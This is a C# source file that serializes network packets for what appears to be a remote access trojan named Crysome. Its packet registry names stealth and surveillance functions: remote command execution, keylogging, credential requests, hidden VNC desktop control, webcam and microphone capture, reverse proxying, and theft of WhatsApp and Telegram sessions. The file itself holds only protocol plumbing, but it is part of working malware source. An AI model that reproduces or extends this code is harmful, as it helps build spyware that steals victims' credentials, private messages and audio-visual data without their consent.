using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using Crysome.Common.Network.FileTransfer;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Common.Network.Packets;

public static class PacketSerializer
{
	private static readonly Dictionary<byte, Type> IdToType;

	private static readonly Dictionary<Type, byte> TypeToId;

	static PacketSerializer()
	{
		IdToType = new Dictionary<byte, Type>();
		TypeToId = new Dictionary<Type, byte>();
		Register(1, typeof(ClientInfoResponsePacket));
		Register(2, typeof(ClientInfoRequestPacket));
		Register(3, typeof(PingResponsePacket));
		Register(4, typeof(PingRequestPacket));
		Register(5, typeof(RunCommandResponsePacket));
		Register(6, typeof(RunCommandRequestPacket));
		Register(7, typeof(DirectLinkResponsePacket));
		Register(8, typeof(DirectLinkRequestPacket));
		Register(9, typeof(FileTransferResponsePacket));
		Register(10, typeof(FileTransferRequestPacket));
		Register(11, typeof(GetSystemInfoResponsePacket));
		Register(12, typeof(GetSystemInfoRequestPacket));
		Register(13, typeof(GetDrivesResponsePacket));
		Register(14, typeof(GetDrivesRequestPacket));
		Register(15, typeof(GetDirectoryResponsePacket));
		Register(16, typeof(GetDirectoryRequestPacket));
		Register(17, typeof(NotifyStatusResponsePacket));
		Register(18, typeof(DeleteFileRequestPacket));
		Register(19, typeof(DownloadFileRequestPacket));
		Register(20, typeof(RestartRequestPacket));
		Register(21, typeof(SendFileRequestPacket));
		Register(22, typeof(TakeScreenshotRequestPacket));
		Register(23, typeof(TakeScreenshotResponsePacket));
		Register(24, typeof(StartProxyRequestPacket));
		Register(25, typeof(StopProxyRequestPacket));
		Register(26, typeof(ProxyStatusResponsePacket));
		Register(27, typeof(GetProcessListRequestPacket));
		Register(28, typeof(GetProcessListResponsePacket));
		Register(29, typeof(KillProcessRequestPacket));
		Register(30, typeof(RequestAudioPacket));
		Register(31, typeof(AudioDataPacket));
		Register(32, typeof(RequestCameraFramePacket));
		Register(33, typeof(CameraFramePacket));
		Register(34, typeof(StartRemoteDesktopPacket));
		Register(35, typeof(StopRemoteDesktopPacket));
		Register(36, typeof(DesktopFramePacket));
		Register(37, typeof(RemoteInputPacket));
		Register(38, typeof(ReverseProxyStartPacket));
		Register(39, typeof(ReverseProxyDataPacket));
		Register(40, typeof(ReverseProxyEndPacket));
		Register(41, typeof(StartReverseProxyPacket));
		Register(42, typeof(RequestCredentialsPacket));
		Register(43, typeof(CredentialsResponsePacket));
		Register(44, typeof(StartHvncPacket));
		Register(45, typeof(StopHvncPacket));
		Register(46, typeof(HvncFramePacket));
		Register(47, typeof(HvncInputPacket));
		Register(48, typeof(HvncRunRequestPacket));
		Register(49, typeof(StartKeyloggerPacket));
		Register(50, typeof(StopKeyloggerPacket));
		Register(51, typeof(KeylogDataPacket));
		Register(52, typeof(ChatMessagePacket));
		Register(53, typeof(GetCameraDevicesPacket));
		Register(54, typeof(CameraDevicesResponsePacket));
		Register(55, typeof(GetAudioDevicesPacket));
		Register(56, typeof(AudioDevicesResponsePacket));
		Register(57, typeof(StartAudioStreamPacket));
		Register(58, typeof(StopAudioStreamPacket));
		Register(59, typeof(AudioStreamChunkPacket));
		Register(60, typeof(ReadFileRequestPacket));
		Register(61, typeof(ReadFileResponsePacket));
		Register(62, typeof(GetScreensRequestPacket));
		Register(63, typeof(ScreensResponsePacket));
		Register(64, typeof(RdpSetQualityPacket));
		Register(65, typeof(FtStartPacket));
		Register(66, typeof(FtChunkPacket));
		Register(67, typeof(FtSackPacket));
		Register(68, typeof(FtDonePacket));
		Register(69, typeof(FtAbortPacket));
		Register(70, typeof(WriteFileRequestPacket));
		Register(71, typeof(WriteFileResponsePacket));
		Register(72, typeof(ClientInventoryReportPacket));
		Register(73, typeof(WhatsAppSessionRequestPacket));
		Register(74, typeof(WhatsAppSessionResponsePacket));
		Register(75, typeof(OfflineKeylogDataPacket));
		Register(76, typeof(TelegramSessionRequestPacket));
		Register(77, typeof(TelegramSessionResponsePacket));
	}

	private static void Register(byte id, Type type)
	{
		IdToType[id] = type;
		TypeToId[type] = id;
	}

	public static byte[] Serialize(IPacket packet)
	{
		using MemoryStream memoryStream = new MemoryStream();
		using BinaryWriter binaryWriter = new BinaryWriter(memoryStream, Encoding.UTF8);
		if (!TypeToId.TryGetValue(packet.GetType(), out var value))
		{
			throw new InvalidOperationException("Unknown packet type: " + packet.GetType().Name);
		}
		binaryWriter.Write(value);
		packet.Write(binaryWriter);
		binaryWriter.Flush();
		return memoryStream.ToArray();
	}

	public static IPacket Deserialize(byte[] data)
	{
		using MemoryStream input = new MemoryStream(data);
		using BinaryReader binaryReader = new BinaryReader(input, Encoding.UTF8);
		byte key = binaryReader.ReadByte();
		if (!IdToType.TryGetValue(key, out var value))
		{
			throw new InvalidOperationException("Unknown packet ID: " + key);
		}
		IPacket obj = (IPacket)Activator.CreateInstance(value);
		obj.Read(binaryReader);
		return obj;
	}
}
